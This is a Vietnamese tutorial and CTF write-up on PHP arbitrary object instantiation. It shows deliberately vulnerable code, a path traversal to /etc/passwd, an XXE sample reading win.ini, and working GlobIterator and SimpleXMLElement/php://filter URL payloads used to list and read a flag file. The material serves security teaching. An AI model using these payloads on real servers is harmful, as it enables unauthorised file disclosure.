Phân tích lỗ hổng PHP: Khởi tạo đối tượng tùy ý (Arbitrary Object Instantiation)

Giới thiệu về lỗ hổng

Bài viết này tiếp nối chuỗi phân tích bảo mật PHP, tập trung vào lỗ hổng liên quan đến việc khởi tạo đối tượng tùy ý. Nội dung dựa trên các thử thách từ PHP SECURITY CALENDAR 2017. Chúng ta sẽ xem xét một đoạn code mẫu, sau đó áp dụng kiến thức vào một bài tập CTF cụ thể.

Phân tích chi tiết lỗ hổng

Xét đoạn code PHP sau đây:

<?php
function __autoload($className) {
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller->render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this->template = $template;
    $this->variables = $variables;
  }

  public function render() {
    if ($this->variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}
?>

Lỗ hổng thứ nhất: File Inclusion

Dòng thứ 8 sử dụng hàm class_exists(). Theo mặc định (khi không có tham số thứ hai), nếu lớp cần kiểm tra chưa được định nghĩa, hàm này sẽ gọi đến hàm __autoload() (nếu tồn tại). Điều này tạo ra lỗ hổng file inclusion. Với các phiên bản PHP từ 5 đến 5.3, kẻ tấn công có thể lợi dụng path traversal để bao gồm các file tùy ý. Ví dụ, nếu tham số c có giá trị ../../../../../etc/passwd, nội dung file passwd sẽ được đọc.

Lỗ hổng thứ hai: Khởi tạo đối tượng tùy ý (Arbitrary Object Instantiation)

Ở dòng thứ 10, cả tên lớp và tham số truyền vào đều do người dùng kiểm soát. Điều này cho phép kẻ tấn công khởi tạo bất kỳ lớp nào có trong hệ thống (bao gồm cả các lớp PHP built-in) và truyền tham số tùy ý vào constructor của chúng. Một ví dụ điển hình là sử dụng lớp SimpleXMLElement để thực hiện tấn công XXE (XML External Entity).

Lớp SimpleXMLElement dùng để biểu diễn các phần tử trong tài liệu XML. Phương thức đặc biệt mà chúng ta quan tâm là hàm tạo (__construct), cụ thể là với các tham số để xử lý external entities.

<?php
$xml = <<<EOF
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<x>&xxe;</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>

Đoạn code trên minh họa việc sử dụng SimpleXMLElement để đọc file win.ini trên Windows.

Bài tập CTF thực hành

Áp dụng kiến thức vừa học, chúng ta phân tích một bài tập CTF. Mã nguồn của trang web mục tiêu như sau:

<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);
$classname = isset($_GET['name']) ? $_GET['name']:null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if (class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'$value'.'<br>';
}
?>

Chú ý vào hàm class_exists(). Nếu lớp không tồn tại, spl_autoload_register sẽ được gọi, dẫn đến thông báo lỗi 404. Tuy nhiên, mục tiêu của chúng ta là lợi dụng việc kiểm soát hoàn toàn tham số name, paramparam2 để gọi các lớp PHP built-in.

Bước 1: Tìm tên file flag

Sử dụng lớp GlobIterator để liệt kê các file trong thư mục. Constructor của lớp này nhận tham số đầu tiên là pattern tìm kiếm. Payload:

http://localhost/DMSJ/day3/index.php?name=GlobIterator&param=*.txt

Kết quả trả về sẽ hiển thị các file có đuôi .txt, trong đó có flag.txt.

Bước 2: Đọc nội dung file flag

Sử dụng lớp SimpleXMLElement kết hợp với PHP stream wrapper để đọc file. Vì nội dung file có thể chứa các ký tự đặc biệt gây lỗi XML (như <, >, &), ta dùng PHP stream filter để encode nội dung dưới dạng base64.

PHP cung cấp giao thức php://filter cho phép áp dụng các filter lên stream. Filter convert.base64-encode sẽ encode dữ liệu.

Payload cuối cùng dùng để đọc file flag:

http://localhost/DMSJ/day3/index.php?name=SimpleXMLElement&param=<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt">]><x>%26xxe;</x>&param2=2

Giá trị param2=2 tương ứng với hằng số LIBXML_NOENT, cho phép thay thế các entity trong XML. Kết quả trả về là nội dung file flag đã được encode base64, sau đó giải mã để lấy flag.

Tổng kết

Qua bài viết, chúng ta đã tìm hiểu về lỗ hổng khởi tạo đối tượng tùy ý trong PHP, kết hợp với file inclusion và XXE. Việc kiểm soát được tham số đầu vào cho phép kẻ tấn công gọi các lớp built-in với cấu hình đặc biệt, dẫn đến hậu quả nghiêm trọng.

Thẻ: php code-audit arbitrary-object-instantiation XXE class-exists

Đăng vào ngày 10 tháng 6 lúc 04:30